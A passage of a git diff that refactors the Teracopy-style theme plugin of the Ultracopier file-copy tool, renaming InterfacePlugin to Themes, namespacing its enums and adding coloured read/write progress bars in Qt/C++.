+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"Very wrong switch case!");
+ break;
+ }
+ switch(action)
+ {
+ case Ultracopier::Copying:
+ case Ultracopier::CopyingAndListing:
+ haveStarted=true;
+ ui->cancelButton->setText(facilityEngine->translateText("Quit"));
+ if(storeIsInPause)
+ ui->pauseButton->setText(facilityEngine->translateText("Start"));
+ else
+ ui->pauseButton->setText(facilityEngine->translateText("Pause"));
+ break;
+ case Ultracopier::Idle:
+ ui->cancelButton->setText(facilityEngine->translateText("Quit"));
+ break;
+ default:
+ break;
+ }
}
-void InterfacePlugin::updateOverallInformation()
+void Themes::newFolderListing(const QString &path)
{
- ui->overall->setText(tr("Total: %1 of %2").arg(facilityEngine->sizeToString(currentSize)).arg(facilityEngine->sizeToString(totalSize)));
- ui->labelNumberFile->setText(tr("%1 of %2").arg(currentFile).arg(totalFile));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ if(action==Ultracopier::Listing)
+ ui->from->setText(path);
}
-void InterfacePlugin::actionInProgess(EngineActionInProgress action)
+void Themes::detectedSpeed(const quint64 &speed)//in byte per seconds
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"start: "+QString::number(action));
- this->action=action;
- ui->pauseButton->setEnabled(action!=Idle);
- switch(action)
- {
- case Copying:
- case CopyingAndListing:
- ui->progressBar_all->setMaximum(65535);
- ui->progressBar_all->setMinimum(0);
- break;
- case Listing:
- ui->progressBar_all->setMaximum(0);
- ui->progressBar_all->setMinimum(0);
- break;
- case Idle:
- if(haveStarted)
- emit cancel();
- break;
- default:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"Very wrong switch case!");
- break;
- }
- switch(action)
- {
- case Copying:
- case CopyingAndListing:
- haveStarted=true;
- break;
- case Idle:
- ui->cancelButton->setText(facilityEngine->translateText("Quit"));
- break;
- default:
- break;
- }
+ speedString=facilityEngine->speedToString(speed);
}
-void InterfacePlugin::newFolderListing(const QString &path)
+/** \brief support speed limitation */
+void Themes::setSupportSpeedLimitation(const bool &supportSpeedLimitationBool)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(action==Listing)
- ui->from->setText(path);
+ Q_UNUSED(supportSpeedLimitationBool);
}
-void InterfacePlugin::detectedSpeed(const quint64 &speed)//in byte per seconds
+void Themes::remainingTime(const int &remainingSeconds)
{
- speedString=facilityEngine->speedToString(speed);
+ if(remainingSeconds==-1)
+ ui->labelTimeRemaining->setText("<html><body>&#8734;</body></html>");
+ else
+ {
+ Ultracopier::TimeDecomposition time=facilityEngine->secondsToTimeDecomposition(remainingSeconds);
+ ui->labelTimeRemaining->setText(QString::number(time.hour)+":"+QString::number(time.minute)+":"+QString::number(time.second));
+ }
}
-void InterfacePlugin::remainingTime(const int &remainingSeconds)
+void Themes::newCollisionAction(const QString &action)
{
- if(remainingSeconds==-1)
- ui->labelTimeRemaining->setText("<html><body>&#8734;</body></html>");
- else
- {
- TimeDecomposition time=facilityEngine->secondsToTimeDecomposition(remainingSeconds);
- ui->labelTimeRemaining->setText(QString::number(time.hour)+":"+QString::number(time.minute)+":"+QString::number(time.second));
- }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ Q_UNUSED(action);
}
-void InterfacePlugin::newCollisionAction(const QString &action)
+void Themes::newErrorAction(const QString &action)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- Q_UNUSED(action);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ Q_UNUSED(action);
}
-void InterfacePlugin::newErrorAction(const QString &action)
+void Themes::errorDetected()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- Q_UNUSED(action);
}
-void InterfacePlugin::errorDetected()
+/// \brief new error
+void Themes::errorToRetry(const QString &source,const QString &destination,const QString &error)
{
+ Q_UNUSED(source);
+ Q_UNUSED(destination);
+ Q_UNUSED(error);
}
//speed limitation
-bool InterfacePlugin::setSpeedLimitation(const qint64 &speedLimitation)
+bool Themes::setSpeedLimitation(const qint64 &speedLimitation)
{
- if(speedLimitation>0)
- emit newSpeedLimitation(0);
- return true;
+ if(speedLimitation>0)
+ emit newSpeedLimitation(0);
+ return true;
}
//get information about the copy
-void InterfacePlugin::setGeneralProgression(const quint64 &current,const quint64 &total)
+void Themes::setGeneralProgression(const quint64 &current,const quint64 &total)
{
- currentSize=current;
- totalSize=total;
- if(total>0)
- {
- int newIndicator=((double)current/total)*65535;
- ui->progressBar_all->setValue(newIndicator);
- }
- else
- ui->progressBar_all->setValue(0);
+ currentSize=current;
+ totalSize=total;
+ if(total>0)
+ {
+ int newIndicator=((double)current/total)*65535;
+ ui->progressBar_all->setValue(newIndicator);
+ }
+ else
+ ui->progressBar_all->setValue(0);
}
-void InterfacePlugin::setCollisionAction(const QList<QPair<QString,QString> > &list)
+void Themes::setCollisionAction(const QList<QPair<QString,QString> > &list)
{
- Q_UNUSED(list);
+ Q_UNUSED(list);
}
-void InterfacePlugin::setErrorAction(const QList<QPair<QString,QString> > &list)
+void Themes::setErrorAction(const QList<QPair<QString,QString> > &list)
{
- Q_UNUSED(list);
+ Q_UNUSED(list);
}
-void InterfacePlugin::setCopyType(CopyType type)
+void Themes::setCopyType(const Ultracopier::CopyType &type)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- this->type=type;
- updateModeAndType();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ this->type=type;
+ updateModeAndType();
}
-void InterfacePlugin::forceCopyMode(CopyMode mode)
+void Themes::forceCopyMode(const Ultracopier::CopyMode &mode)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- modeIsForced=true;
- this->mode=mode;
- if(mode==Copy)
- this->setWindowTitle("Ultracopier - "+facilityEngine->translateText("Copy"));
- else
- this->setWindowTitle("Ultracopier - "+facilityEngine->translateText("Move"));
- updateModeAndType();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ modeIsForced=true;
+ this->mode=mode;
+ if(mode==Ultracopier::Copy)
+ this->setWindowTitle("Ultracopier - "+facilityEngine->translateText("Copy"));
+ else
+ this->setWindowTitle("Ultracopier - "+facilityEngine->translateText("Move"));
+ updateModeAndType();
}
-void InterfacePlugin::updateTitle()
+void Themes::updateTitle()
{
- QString startString;
- if(action==Copying || action==CopyingAndListing)
- startString=tr("%1% done").arg(((double)currentSize/totalSize)*100);
- else
- startString="Ultracopier";
- startString+=" - ";
- if(mode==Copy)
- this->setWindowTitle(startString+facilityEngine->translateText("Copy")+" ("+speedString+")");
- else
- this->setWindowTitle(startString+facilityEngine->translateText("Move")+" ("+speedString+")");
+ QString startString;
+ if(action==Ultracopier::Copying || action==Ultracopier::CopyingAndListing)
+ startString=tr("%1% done").arg(((double)currentSize/totalSize)*100);
+ else
+ startString="Ultracopier";
+ startString+=" - ";
+ if(mode==Ultracopier::Copy)
+ this->setWindowTitle(startString+facilityEngine->translateText("Copy")+" ("+speedString+")");
+ else
+ this->setWindowTitle(startString+facilityEngine->translateText("Move")+" ("+speedString+")");
}
-void InterfacePlugin::haveExternalOrder()
+void Themes::haveExternalOrder()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
// ui->moreButton->toggle();
}
-void InterfacePlugin::isInPause(bool isInPause)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"isInPause: "+QString::number(isInPause));
- //resume in auto the pause
- storeIsInPause=isInPause;
- if(isInPause)
- ui->pauseButton->setText(facilityEngine->translateText("Resume"));
- else
- ui->pauseButton->setText(facilityEngine->translateText("Pause"));
-}
-
-void InterfacePlugin::updateCurrentFileInformation()
-{
- TransferModel::currentTransfertItem transfertItem=transferModel.getCurrentTransfertItem();
- if(transfertItem.haveItem)
- {
- ui->from->setText(transfertItem.from);
- //commented because not displayed on this interface
- //ui->to->setText(transfertItem.to);
- //ui->current_file->setText(transfertItem.current_file);
- if(transfertItem.progressBar_file!=-1)
- {
- ui->progressBar_file->setRange(0,65535);
- ui->progressBar_file->setValue(transfertItem.progressBar_file);
- }
- else
- ui->progressBar_file->setRange(0,0);
- }
- else
- {
- ui->from->setText("");
- //commented because not displayed on this interface
- //ui->to->setText("");
- //ui->current_file->setText("-");
- if(haveStarted && transferModel.rowCount()==0)
- ui->progressBar_file->setValue(65535);
- else if(!haveStarted)
- ui->progressBar_file->setValue(0);
- }
+void Themes::isInPause(const bool &isInPause)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"isInPause: "+QString::number(isInPause));
+ //resume in auto the pause
+ storeIsInPause=isInPause;
+ if(isInPause)
+ ui->pauseButton->setText(facilityEngine->translateText("Resume"));
+ else
+ ui->pauseButton->setText(facilityEngine->translateText("Pause"));
+}
+
+void Themes::updateCurrentFileInformation()
+{
+ TransferModel::currentTransfertItem transfertItem=transferModel.getCurrentTransfertItem();
+ if(transfertItem.haveItem)
+ {
+ ui->from->setText(transfertItem.from);
+ //commented because not displayed on this interface
+ //ui->to->setText(transfertItem.to);
+ //ui->current_file->setText(transfertItem.current_file);
+ if(transfertItem.progressBar_read!=-1)
+ {
+ ui->progressBar_file->setRange(0,65535);
+ if(transfertItem.progressBar_read!=transfertItem.progressBar_write)
+ {
+ float permilleread=round((float)transfertItem.progressBar_read/65535*1000)/1000;
+ float permillewrite=permilleread-0.001;
+ ui->progressBar_file->setStyleSheet(QStringLiteral("QProgressBar{border: 1px solid grey;text-align: center;background-color: qlineargradient(spread:pad, x1:%1, y1:0, x2:%2, y2:0, stop:0 %3, stop:1 %4);}QProgressBar::chunk{background-color:%5;}")
+ .arg(permilleread)
+ .arg(permillewrite)
+ .arg(progressColorRemaining.name())
+ .arg(progressColorRead.name())
+ .arg(progressColorWrite.name())
+ );
+ }
+ else
+ ui->progressBar_file->setStyleSheet(QStringLiteral("QProgressBar{border:1px solid grey;text-align:center;background-color:%1;}QProgressBar::chunk{background-color:%2;}")
+ .arg(progressColorRemaining.name())
+ .arg(progressColorWrite.name())
+ );
+ ui->progressBar_file->setValue(transfertItem.progressBar_write);
+ }
+ else
+ ui->progressBar_file->setRange(0,0);
+ }
+ else
+ {
+ ui->from->setText("");
+ //commented because not displayed on this interface
+ //ui->to->setText("");
+ //ui->current_file->setText("-");
+ if(haveStarted && transferModel.rowCount()==0)
+ ui->progressBar_file->setValue(65535);
+ else if(!haveStarted)
+ ui->progressBar_file->setValue(0);
+ }
}
-void InterfacePlugin::on_cancelButton_clicked()
+void Themes::on_cancelButton_clicked()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- this->hide();
- emit cancel();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ this->hide();
+ emit cancel();
}
-void InterfacePlugin::on_pauseButton_clicked()
+void Themes::on_pauseButton_clicked()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(storeIsInPause)
- emit resume();
- else
- emit pause();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ if(storeIsInPause)
+ emit resume();
+ else
+ emit pause();
}
-void InterfacePlugin::on_skipButton_clicked()
+void Themes::on_skipButton_clicked()
{
- TransferModel::currentTransfertItem transfertItem=transferModel.getCurrentTransfertItem();
- if(transfertItem.haveItem)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("skip at running: %1").arg(transfertItem.id));
- emit skip(transfertItem.id);
- }
- else
- {
- if(transferModel.rowCount()>1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("skip at idle: %1").arg(transferModel.firstId()));
- emit skip(transferModel.firstId());
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to skip the transfer, because no transfer running");
- }
+ TransferModel::currentTransfertItem transfertItem=transferModel.getCurrentTransfertItem();
+ if(transfertItem.haveItem)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("skip at running: %1").arg(transfertItem.id));
+ emit skip(transfertItem.id);
+ }
+ else
+ {
+ if(transferModel.rowCount()>1)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("skip at idle: %1").arg(transferModel.firstId()));
+ emit skip(transferModel.firstId());
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to skip the transfer, because no transfer running");
+ }
}
-void InterfacePlugin::updateModeAndType()
+void Themes::updateModeAndType()
{
- menu.clear();
- if(modeIsForced)
- {
- menu.addAction(ui->actionAddFile);
- if(type==FileAndFolder)
- menu.addAction(ui->actionAddFolder);
- }
- else
- {
- menu.addAction(ui->actionAddFileToCopy);
- menu.addAction(ui->actionAddFileToMove);
- if(type==FileAndFolder)
- {
- menu.addAction(ui->actionAddFolderToCopy);
- menu.addAction(ui->actionAddFolderToMove);
- }
- }
+ menu.clear();
+ if(modeIsForced)
+ {
+ menu.addAction(ui->actionAddFile);
+ if(type==Ultracopier::FileAndFolder)
+ menu.addAction(ui->actionAddFolder);
+ }
+ else
+ {
+ menu.addAction(ui->actionAddFileToCopy);
+ menu.addAction(ui->actionAddFileToMove);
+ if(type==Ultracopier::FileAndFolder)
+ {
+ menu.addAction(ui->actionAddFolderToCopy);
+ menu.addAction(ui->actionAddFolderToMove);
+ }
+ }
}
-void InterfacePlugin::forcedModeAddFile()
+void Themes::forcedModeAddFile()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit userAddFile(mode);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ emit userAddFile(mode);
}
-void InterfacePlugin::forcedModeAddFolder()
+void Themes::forcedModeAddFolder()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit userAddFolder(mode);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ emit userAddFolder(mode);
}
-void InterfacePlugin::forcedModeAddFileToCopy()
+void Themes::forcedModeAddFileToCopy()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit userAddFile(Copy);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ emit userAddFile(Ultracopier::Copy);
}
-void InterfacePlugin::forcedModeAddFolderToCopy()
+void Themes::forcedModeAddFolderToCopy()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit userAddFolder(Copy);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ emit userAddFolder(Ultracopier::Copy);
}
-void InterfacePlugin::forcedModeAddFileToMove()
+void Themes::forcedModeAddFileToMove()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit userAddFile(Move);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ emit userAddFile(Ultracopier::Move);
}
-void InterfacePlugin::forcedModeAddFolderToMove()
+void Themes::forcedModeAddFolderToMove()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit userAddFolder(Move);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ emit userAddFolder(Ultracopier::Move);
}
//set the translate
-void InterfacePlugin::newLanguageLoaded()
+void Themes::newLanguageLoaded()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(modeIsForced)
- forceCopyMode(mode);
- ui->retranslateUi(this);
- if(haveStarted)
- updateCurrentFileInformation();
- updateOverallInformation();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ if(modeIsForced)
+ forceCopyMode(mode);
+ ui->retranslateUi(this);
+ if(haveStarted)
+ updateCurrentFileInformation();
+ updateOverallInformation();
}
/*
@@ -378,68 +433,68 @@ void InterfacePlugin::newLanguageLoaded()
Return[1]: totalSize
Return[2]: currentFile
*/
-void InterfacePlugin::getActionOnList(const QList<returnActionOnCopyList>& returnActions)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, returnActions.size(): "+QString::number(returnActions.size()));
- QList<quint64> returnValue=transferModel.synchronizeItems(returnActions);
- totalFile+=returnValue[0];
- totalSize+=returnValue[1];
- currentFile+=returnValue[2];
- if(transferModel.rowCount()==0)
- {
- ui->skipButton->setEnabled(false);
- ui->progressBar_all->setValue(65535);
- ui->progressBar_file->setValue(65535);
- currentSize=totalSize;
- }
- else
- ui->skipButton->setEnabled(true);
- updateOverallInformation();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"transferModel.rowCount(): "+QString::number(transferModel.rowCount()));
-}
-
-void InterfacePlugin::setFileProgression(const QList<ProgressionItem> &progressionList)
-{
- QList<ProgressionItem> progressionListBis=progressionList;
- transferModel.setFileProgression(progressionListBis);
- updateCurrentFileInformation();
-}
-
-InterfacePlugin::currentTransfertItem InterfacePlugin::getCurrentTransfertItem()
-{
- currentTransfertItem returnItem;
- returnItem.haveItem=InternalRunningOperation.size()>0;
- if(returnItem.haveItem)
- {
- const ItemOfCopyListWithMoreInformations &itemTransfer=InternalRunningOperation.first();
- returnItem.from=itemTransfer.generalData.sourceFullPath;
- returnItem.to=itemTransfer.generalData.destinationFullPath;
- returnItem.current_file=itemTransfer.generalData.destinationFileName+", "+facilityEngine->sizeToString(itemTransfer.generalData.size);
- switch(itemTransfer.actionType)
- {
- case CustomOperation:
- if(!itemTransfer.custom_with_progression)
- returnItem.progressBar_file=0;
- else
- {
- if(itemTransfer.generalData.size>0)
- returnItem.progressBar_file=((double)itemTransfer.currentProgression/itemTransfer.generalData.size)*65535;
- else
- returnItem.progressBar_file=0;
- }
- break;
- case Transfer:
- if(itemTransfer.generalData.size>0)
- returnItem.progressBar_file=((double)itemTransfer.currentProgression/itemTransfer.generalData.size)*65535;
- else
- returnItem.progressBar_file=0;
- break;
- case PostOperation:
- returnItem.progressBar_file=65535;
- break;
- default:
- returnItem.progressBar_file=0;
- }
- }
- return returnItem;
+void Themes::getActionOnList(const QList<Ultracopier::ReturnActionOnCopyList>& returnActions)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start, returnActions.size(): "+QString::number(returnActions.size()));
+ QList<quint64> returnValue=transferModel.synchronizeItems(returnActions);
+ totalFile+=returnValue[0];
+ totalSize+=returnValue[1];
+ currentFile+=returnValue[2];
+ if(transferModel.rowCount()==0)
+ {
+ ui->skipButton->setEnabled(false);
+ ui->progressBar_all->setValue(65535);
+ ui->progressBar_file->setValue(65535);
+ currentSize=totalSize;
+ }
+ else
+ ui->skipButton->setEnabled(true);
+ updateOverallInformation();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"transferModel.rowCount(): "+QString::number(transferModel.rowCount()));
+}
+
+void Themes::setFileProgression(const QList<Ultracopier::ProgressionItem> &progressionList)
+{
+ QList<Ultracopier::ProgressionItem> progressionListBis=progressionList;
+ transferModel.setFileProgression(progressionListBis);
+ updateCurrentFileInformation();
+}
+
+Themes::currentTransfertItem Themes::getCurrentTransfertItem()
+{
+ currentTransfertItem returnItem;
+ returnItem.haveItem=InternalRunningOperation.size()>0;
+ if(returnItem.haveItem)
+ {
+ const ItemOfCopyListWithMoreInformations &itemTransfer=InternalRunningOperation.first();
+ returnItem.from=itemTransfer.generalData.sourceFullPath;
+ returnItem.to=itemTransfer.generalData.destinationFullPath;
+ returnItem.current_file=itemTransfer.generalData.destinationFileName+", "+facilityEngine->sizeToString(itemTransfer.generalData.size);
+ switch(itemTransfer.actionType)
+ {
+ case Ultracopier::CustomOperation:
+ if(!itemTransfer.custom_with_progression)
+ returnItem.progressBar_file=0;
+ else
+ {
+ if(itemTransfer.generalData.size>0)
+ returnItem.progressBar_file=((double)itemTransfer.currentProgression/itemTransfer.generalData.size)*65535;
+ else
+ returnItem.progressBar_file=0;
+ }
+ break;
+ case Ultracopier::Transfer:
+ if(itemTransfer.generalData.size>0)
+ returnItem.progressBar_file=((double)itemTransfer.currentProgression/itemTransfer.generalData.size)*65535;
+ else
+ returnItem.progressBar_file=0;
+ break;
+ case Ultracopier::PostOperation:
+ returnItem.progressBar_file=65535;
+ break;
+ default:
+ returnItem.progressBar_file=0;
+ }
+ }
+ return returnItem;
}
diff --git a/plugins-alternative/Themes/Teracopy/interface.h b/plugins-alternative/Themes/Teracopy/interface.h
index 899a03b..b2f6a70 100644
--- a/plugins-alternative/Themes/Teracopy/interface.h
+++ b/plugins-alternative/Themes/Teracopy/interface.h
@@ -1,16 +1,16 @@
/** \file interface.h
\brief Define the interface test
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
-#ifndef INTERFACE_TEST_H
-#define INTERFACE_TEST_H
+#ifndef INTERFACE_H
+#define INTERFACE_H
#include <QObject>
#include <QWidget>
#include <QCloseEvent>
#include <QMenu>
+#include <QColor>
#include "../../../interface/PluginInterface_Themes.h"
@@ -19,151 +19,158 @@
#include "TransferModel.h"
namespace Ui {
- class interfaceCopy;
+ class interfaceCopy;
}
/// \brief Define the interface
-class InterfacePlugin : public PluginInterface_Themes
+class Themes : public PluginInterface_Themes
{
- Q_OBJECT
+ Q_OBJECT
private:
- struct ItemOfCopyListWithMoreInformations
- {
- quint64 currentProgression;
- ItemOfCopyList generalData;
- ActionTypeCopyList actionType;
- bool custom_with_progression;
- };
- struct currentTransfertItem
- {
- quint64 id;
- bool haveItem;
- QString from;
- QString to;
- QString current_file;
- int progressBar_file;
- };
- Ui::interfaceCopy *ui;
- quint64 currentFile;
- quint64 totalFile;
- quint64 currentSize;
- quint64 totalSize;
- void updateOverallInformation();
- void updateCurrentFileInformation();
- EngineActionInProgress action;
- void closeEvent(QCloseEvent *event);
- QList<ItemOfCopyListWithMoreInformations> currentProgressList;
- QString speedString;
- bool storeIsInPause;
- bool modeIsForced;
- CopyType type;
- CopyMode mode;
- void updateModeAndType();
- bool haveStarted;
- QWidget optionEngineWidget;
- void updateTitle();
- QMenu menu;
- FacilityInterface * facilityEngine;
- int loop_size,loop_sub_size,indexAction,index;
- int index_for_loop,sub_loop_size,sub_index_for_loop;
- currentTransfertItem getCurrentTransfertItem();
- QList<quint64> startId,stopId;///< To show what is started, what is stopped
- QList<ItemOfCopyListWithMoreInformations> InternalRunningOperation;///< to have progression and stat
- /// \brief the custom transfer model
- TransferModel transferModel;
+ struct ItemOfCopyListWithMoreInformations
+ {
+ quint64 currentProgression;
+ Ultracopier::ItemOfCopyList generalData;
+ Ultracopier::ActionTypeCopyList actionType;
+ bool custom_with_progression;
+ };
+ struct currentTransfertItem
+ {
+ quint64 id;
+ bool haveItem;
+ QString from;
+ QString to;
+ QString current_file;
+ int progressBar_file;
+ };
+ Ui::interfaceCopy *ui;
+ quint64 currentFile;
+ quint64 totalFile;
+ quint64 currentSize;
+ quint64 totalSize;
+ void updateOverallInformation();
+ void updateCurrentFileInformation();
+ Ultracopier::EngineActionInProgress action;
+ void closeEvent(QCloseEvent *event);
+ QList<ItemOfCopyListWithMoreInformations> currentProgressList;
+ QString speedString;
+ bool storeIsInPause;
+ bool modeIsForced;
+ Ultracopier::CopyType type;
+ Ultracopier::CopyMode mode;
+ void updateModeAndType();
+ bool haveStarted;
+ QWidget optionEngineWidget;
+ void updateTitle();
+ QMenu menu;
+ FacilityInterface * facilityEngine;
+ int loop_size,loop_sub_size,indexAction,index;
+ int index_for_loop,sub_loop_size,sub_index_for_loop;
+ currentTransfertItem getCurrentTransfertItem();
+ QList<quint64> startId,stopId;///< To show what is started, what is stopped
+ QList<ItemOfCopyListWithMoreInformations> InternalRunningOperation;///< to have progression and stat
+ /// \brief the custom transfer model
+ TransferModel transferModel;
+ QColor progressColorWrite;
+ QColor progressColorRead;
+ QColor progressColorRemaining;
public:
- //send information about the copy
- /// \brief to set the action in progress
- void actionInProgess(EngineActionInProgress);
- /// \brief new transfer have started
- void newTransferStart(const ItemOfCopyList &item);
- /** \brief one transfer have been stopped
- * is stopped, example: because error have occurred, and try later, don't remove the item! */
- void newTransferStop(const quint64 &id);
- /// \brief the new folder is listing
- void newFolderListing(const QString &path);
- /** \brief show the detected speed
- * in byte per seconds */
- void detectedSpeed(const quint64 &speed);
- /** \brief show the remaining time
- * time in seconds */
- void remainingTime(const int &remainingSeconds);
- /// \brief set the current collision action
- void newCollisionAction(const QString &action);
- /// \brief set the current error action
- void newErrorAction(const QString &action);
- /// \brief set one error is detected
- void errorDetected();
- //speed limitation
- /** \brief the max speed used
- * in byte per seconds, -1 if not able, 0 if disabled */
- bool setSpeedLimitation(const qint64 &speedLimitation);
- InterfacePlugin(FacilityInterface * facilityEngine);
- ~InterfacePlugin();
- //get information about the copy
- /// \brief show the general progression
- void setGeneralProgression(const quint64 &current,const quint64 &total);
- /// \brief show the file progression
- void setFileProgression(const QList<ProgressionItem> &progressionList);
- /// \brief set collision action
- void setCollisionAction(const QList<QPair<QString,QString> > &);
- /// \brief set error action
- void setErrorAction(const QList<QPair<QString,QString> > &);
- /// \brief set the copyType -> file or folder
- void setCopyType(CopyType);
- /// \brief set the copyMove -> copy or move, to force in copy or move, else support both
- void forceCopyMode(CopyMode);
- /// \brief set if transfer list is exportable/importable
- void setTransferListOperation(TransferListOperation transferListOperation);
- /** \brief set if the order is external (like file manager copy)
- * to notify the interface, which can hide add folder/filer button */
- void haveExternalOrder();
- /// \brief set if is in pause
- void isInPause(bool);
- /// \brief get the widget for the copy engine
- QWidget * getOptionsEngineWidget();
- /// \brief to set if the copy engine is found
- void getOptionsEngineEnabled(bool isEnabled);
+ //send information about the copy
+ /// \brief to set the action in progress
+ void actionInProgess(const Ultracopier::EngineActionInProgress &);
+ /// \brief new transfer have started
+ void newTransferStart(const Ultracopier::ItemOfCopyList &item);
+ /** \brief one transfer have been stopped
+ * is stopped, example: because error have occurred, and try later, don't remove the item! */
+ void newTransferStop(const quint64 &id);
+ /// \brief the new folder is listing
+ void newFolderListing(const QString &path);
+ /** \brief show the detected speed
+ * in byte per seconds */
+ void detectedSpeed(const quint64 &speed);
+ /** \brief support speed limitation */
+ void setSupportSpeedLimitation(const bool &supportSpeedLimitationBool);
+ /** \brief show the remaining time
+ * time in seconds */
+ void remainingTime(const int &remainingSeconds);
+ /// \brief set the current collision action
+ void newCollisionAction(const QString &action);
+ /// \brief set the current error action
+ void newErrorAction(const QString &action);
+ /// \brief set one error is detected
+ void errorDetected();
+ /// \brief new error
+ void errorToRetry(const QString &source,const QString &destination,const QString &error);
+ //speed limitation
+ /** \brief the max speed used
+ * in byte per seconds, -1 if not able, 0 if disabled */
+ bool setSpeedLimitation(const qint64 &speedLimitation);
+ Themes(FacilityInterface * facilityEngine);
+ ~Themes();
+ //get information about the copy
+ /// \brief show the general progression
+ void setGeneralProgression(const quint64 &current,const quint64 &total);
+ /// \brief show the file progression
+ void setFileProgression(const QList<Ultracopier::ProgressionItem> &progressionList);
+ /// \brief set collision action
+ void setCollisionAction(const QList<QPair<QString,QString> > &);
+ /// \brief set error action
+ void setErrorAction(const QList<QPair<QString,QString> > &);
+ /// \brief set the copyType -> file or folder
+ void setCopyType(const Ultracopier::CopyType &);
+ /// \brief set the copyMove -> copy or move, to force in copy or move, else support both
+ void forceCopyMode(const Ultracopier::CopyMode &);
+ /// \brief set if transfer list is exportable/importable
+ void setTransferListOperation(const Ultracopier::TransferListOperation &transferListOperation);
+ /** \brief set if the order is external (like file manager copy)
+ * to notify the interface, which can hide add folder/filer button */
+ void haveExternalOrder();
+ /// \brief set if is in pause
+ void isInPause(const bool &);
+ /// \brief get the widget for the copy engine
+ QWidget * getOptionsEngineWidget();
+ /// \brief to set if the copy engine is found
+ void getOptionsEngineEnabled(const bool &isEnabled);
private slots:
- void on_cancelButton_clicked();
- void on_pauseButton_clicked();
- void on_skipButton_clicked();
- void forcedModeAddFile();
- void forcedModeAddFolder();
- void forcedModeAddFileToCopy();
- void forcedModeAddFolderToCopy();
- void forcedModeAddFileToMove();
- void forcedModeAddFolderToMove();
+ void on_cancelButton_clicked();
+ void on_pauseButton_clicked();
+ void on_skipButton_clicked();
+ void forcedModeAddFile();
+ void forcedModeAddFolder();
+ void forcedModeAddFileToCopy();
+ void forcedModeAddFolderToCopy();
+ void forcedModeAddFileToMove();
+ void forcedModeAddFolderToMove();
signals:
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
- //set the transfer list
- void removeItems(QList<int> ids);
- void moveItemsOnTop(QList<int> ids);
- void moveItemsUp(QList<int> ids);
- void moveItemsDown(QList<int> ids);
- void moveItemsOnBottom(QList<int> ids);
- void exportTransferList();
- void importTransferList();
- //user ask ask to add folder (add it with interface ask source/destination)
- void userAddFolder(CopyMode);
- void userAddFile(CopyMode);
- void urlDropped(QList<QUrl> urls);
- //action on the copy
- void pause();
- void resume();
- void skip(quint64 id);
- void cancel();
- //edit the action
- void sendCollisionAction(QString action);
- void sendErrorAction(QString action);
- void newSpeedLimitation(qint64);
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ /// \brief To debug source
